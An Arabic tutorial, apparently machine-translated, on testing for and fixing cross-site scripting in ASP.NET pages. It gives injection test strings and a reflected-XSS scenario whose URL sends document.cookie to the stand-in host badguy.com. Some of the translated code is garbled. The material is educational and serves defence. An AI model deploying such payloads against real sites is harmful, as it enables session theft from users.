اختبار أمان الويب XSS
XSS الاسم الكامل (البرمجة النصية للموقع) هو هجوم البرمجة النصية عبر المواقع هو الضعف الأكثر شيوعا في برامج الويب. إنه يشير إلى مهاجم يقوم بتضمين البرامج النصية للعميل (مثل JavaScript) في صفحة ويب. عندما يتصفح المستخدم صفحة الويب هذه ، سيتم تنفيذ البرنامج النصي على متصفح المستخدم ، وبالتالي تحقيق هدف المهاجم. على سبيل المثال ، الحصول على ملفات تعريف الارتباط الخاصة بالمستخدم ، والتنقل إلى مواقع الويب الضارة ، وحمل أحصنة طروادة ، إلخ.
كاختبار ، تحتاج إلى فهم مبادئ XSS ، سيناريوهات الهجوم ، وكيفية إصلاحها. فقط عن طريق منع XSS بشكل فعال.
قراءة المحتويات
كيف يحدث XSS
إذا كان هناك مربع نص أدناه
<type type = "text" name = "address1" value = "value1from">
Value1From هو إدخال من المستخدم. إذا لم يدخل المستخدم Value11 من ، ولكن يدخل "/> <script>
<type type = "text" name = "address1" value = ""/> <script> ALERT (document.cookie) </script> <!- ">
سيتم تنفيذ رمز JavaScript المدمج
أو يدخل المستخدم "onfocus =" ALERT (document.cookie) ثم سيصبح
<type type = "text" name = "address1" value = "" onfocus = "Alert (document.cookie)">
عندما يتم تشغيل الحدث ، سيتم تنفيذ رمز JavaScript المدمج
تعتمد قوة الهجوم على نص البرنامج النصي الذي يدخله المستخدم
بالطبع ، يمكن أيضًا إرسال البيانات المقدمة من المستخدم إلى الخادم من خلال QueryString (الموضوعة في عنوان URL) وملفات تعريف الارتباط. على سبيل المثال ، الشكل التالي
HTML تشفير
يحدث XSS لأن البيانات التي أدخلها المستخدم تصبح رمزًا. لذلك نحن بحاجة إلى تنفيذ معالجة HTML تشفير على البيانات التي أدخلها المستخدم. قم بتشفير أحرف خاصة مثل "Brackets" و "Single Quotes" و "Quotes".
يتم توفير الأساليب المتاحة بالفعل في C#، ما عليك سوى الاتصال httputily.htmlencode ("String <scritp>"). (تتطلب مجموعة System.Web)
يوفر Fiddler أيضًا أداة مريحة للغاية ، انقر فوق الزر "textwizard" على شريط الأدوات
سيناريو الهجوم XSS
1. عملية هجوم الضعف XSS المستندة إلى DOM هي كما يلي
اكتشف توم ثغرة XSS في صفحة في Octim.com.
على سبيل المثال: http://victim.com/search.asp؟term=apple
رمز صفحة Search.asp في الخادم تقريبًا على النحو التالي
<html> <title> </itlem> <body> نتائج <٪ reequest.querystring ("term") ٪> ... </body> </html>يقوم Tom أولاً بإنشاء موقع ويب http://badguy.com لتلقي معلومات من "السرقة".
ثم يقوم توم ببناء عنوان URL الضار (على النحو التالي) ويرسله إلى مونيكا بطريقة ما (البريد الإلكتروني ، QQ)
http://victim.com/search.asp؟term= <script> window.open ("http://badguy.com؟cookie="+document.cookie) </script>
تنقر مونيكا على عنوان URL هذا ، وسيتم تنفيذ رمز JavaScript الضار المضمّن في عنوان URL في متصفح مونيكا. ثم يتم إرسال ملفات تعريف الارتباط الخاصة بـ Monica على موقع Octim.com إلى موقع Badguy. وبهذه الطريقة ، سُرقت معلومات Monica على Octim.com من قبل توم.
2. XSS المخزنة (قابلية الضعف XSS المخزنة) ، هذا النوع هو ضعف يستخدم على نطاق واسع وقد يؤثر على أمان خوادم الويب الكبيرة. يقوم المهاجم بتحميل البرنامج النصي للهجوم على خادم الويب ، مما يجعل جميع المستخدمين الذين يصلون إلى الصفحة يواجهون إمكانية تسرب المعلومات. عملية الهجوم كما يلي
اكتشف أليكس ضعف XSS في الموقع A الذي يسمح بحفظ رمز الهجوم في قاعدة بيانات.
قام أليكس بنشر مقال مع كود جافا سكريبت ضار مضمن فيه.
عندما يتم تنفيذ أشخاص آخرين ، مثل مونيكا ، عند الوصول إلى هذه المقالة ، سيتم تنفيذ رمز JavaScript الضار المضمن في المقالة في متصفح مونيكا ، وسيتم سرقة ملفات تعريف الارتباط في الجلسة أو المعلومات الأخرى بواسطة Alex.
تهدد XSS Budability المستندة إلى DOM المستخدمين الأفراد ، في حين أن نقاط الضعف XSS المخزنة سوف تهدد عددًا كبيرًا من المستخدمين.
إصلاح الضعف XSS
المبدأ: لا تثق في البيانات التي أدخلها العميل
ملاحظة: رمز الهجوم ليس بالضرورة في <script> </script>
كيفية اختبار نقاط الضعف XSS
الطريقة 1: عرض الكود وابحث عن متغيرات المفاتيح. يقوم العميل بنقل البيانات إلى خادم الويب. عمومًا ، بثلاث طرق ، والكيكرات ، ونماذج الشكل ، وملفات تعريف الارتباط. على سبيل المثال ، في برامج ASP ، يتم الحصول على متغيرات العميل من خلال كائن الطلب.
<٪ strusercode = request.querystring ("code") ؛ struser = request.form ("user") ؛ strid = request.cookies ("id") ؛ ٪>إذا لم تتم معالجة المتغير بواسطة HTMLencode ، فهناك ضعف XSS في هذا المتغير
الطريقة 2: إعداد البرنامج النصي للاختبار ،
"/><script> inalert(document.cookie)</script><!-<script> (alert(document.cookie)</script>< !-"onclick="alert(document.cookie)
في مربع النص أو الأماكن الأخرى التي يمكن إدخال البيانات فيها ، أدخل نصوص الاختبار هذه لمعرفة ما إذا كان مربع الحوار يمكن أن يظهر. إذا كان بإمكانه الظهور ، فهذا يعني أن هناك ثغرة أمنية XSS
تحقق من المتغيرات التي يتم تمريرها إلى خادم الويب من خلال عنوان URL ، وإرجاع قيم هذه المتغيرات إلى برنامج الاختبار الخاص بنا. ثم معرفة ما إذا كان يمكن تنفيذ البرنامج النصي لدينا
الطريقة 3: اختبار ثغرات XSS تلقائيًا
هناك العديد من أدوات مسح XSS المتاحة الآن. إن تطبيق اختبار XSS الآلي أمر بسيط للغاية ، فأنت بحاجة فقط إلى استخدام فئة httpwebrequest. ضع نص اختبار XSS. أرسل إلى خادم الويب. ثم تحقق مما إذا كان قد تم حقن البرنامج النصي للاختبار XSS في httpwebrosponse.
الفرق بين تشفير HTML و url تشفير
في البداية ، كنت دائمًا في الخلط بين هذين الأمرين ، لكن في الواقع كانا شيئين مختلفين.
تم تقديم ترميز HTML من قبل. ترميز عنوان URL هو الامتثال لمواصفات عنوان URL. لأنه في مواصفات عنوان URL القياسي ، لا يُسمح للظهور الصيني والعديد من الشخصيات في عنوان URL.
على سبيل المثال ، ابحث عن "اختبار الأحرف الصينية" في بايدو. سيصبح عنوان URL
http://www.baidu.com/s؟wd=٪B2٪E2٪CA٪D4٪BA٪BA٪D7٪D6&RSV_BP=0&rsv_spt=3&inputt=7477
ترميز عنوان URL هو: سيتم استبدال جميع الأحرف غير الألفابية بعلامة في المئة (٪) تليها رقمين سداسي عشرة ، وسيتم تشفير المسافات كعلامة زائد (+)
يتم توفير الأساليب المتاحة بالفعل في C#، ما عليك سوى الاتصال httputily.urlencode ("String <scritp>"). (تتطلب مجموعة System.Web)
يوفر Fiddler أيضًا أداة مريحة للغاية ، انقر فوق الزر "textwizard" على شريط الأدوات
مرشح XSS في المتصفح
من أجل منع حدوث XSS ، أضاف العديد من مصنعي المتصفح آليات أمان إلى متصفحاتهم لتصفية XSS. على سبيل المثال ، IE8 ، IE9 ، Firefox ، Chrome. جميعهم لديهم آليات أمنية لـ XSS. المتصفح يمنع XSS. على سبيل المثال ، الصورة التالية
إذا كنت بحاجة إلى إجراء اختبار ، فمن الأفضل استخدام IE7.
آلية أمان XSS في ASP.NET
ASP.NET لديه آلية لمنع XSS. سيقوم النموذج المقدم تلقائيًا بالتحقق مما إذا كان XSS موجودًا. عندما يحاول المستخدم إدخال رمز XSS ، ستقوم ASP.NET برمي خطأ كما هو موضح في الشكل التالي.
ليس لدى العديد من المبرمجين أي فكرة عن الأمان ، ولا يعرفون حتى أن هناك XSS. ASP.NET آمن افتراضيًا في هذه المرحلة. وبهذه الطريقة ، يمكن حتى المبرمجين الذين ليس لديهم وعي أمني أن يكتبوا "موقعًا أكثر أمانًا".
إذا كنت ترغب في تعطيل ميزة الأمان هذه ، فيمكنك استخدام <٪@ page validateRequest = "false" ٪>
ما سبق هو اختبار أمان الويب XSS. سنستمر في تنظيم مواد اختبار البرمجيات ذات الصلة في المستقبل. شكرا لك على دعمك لهذا الموقع!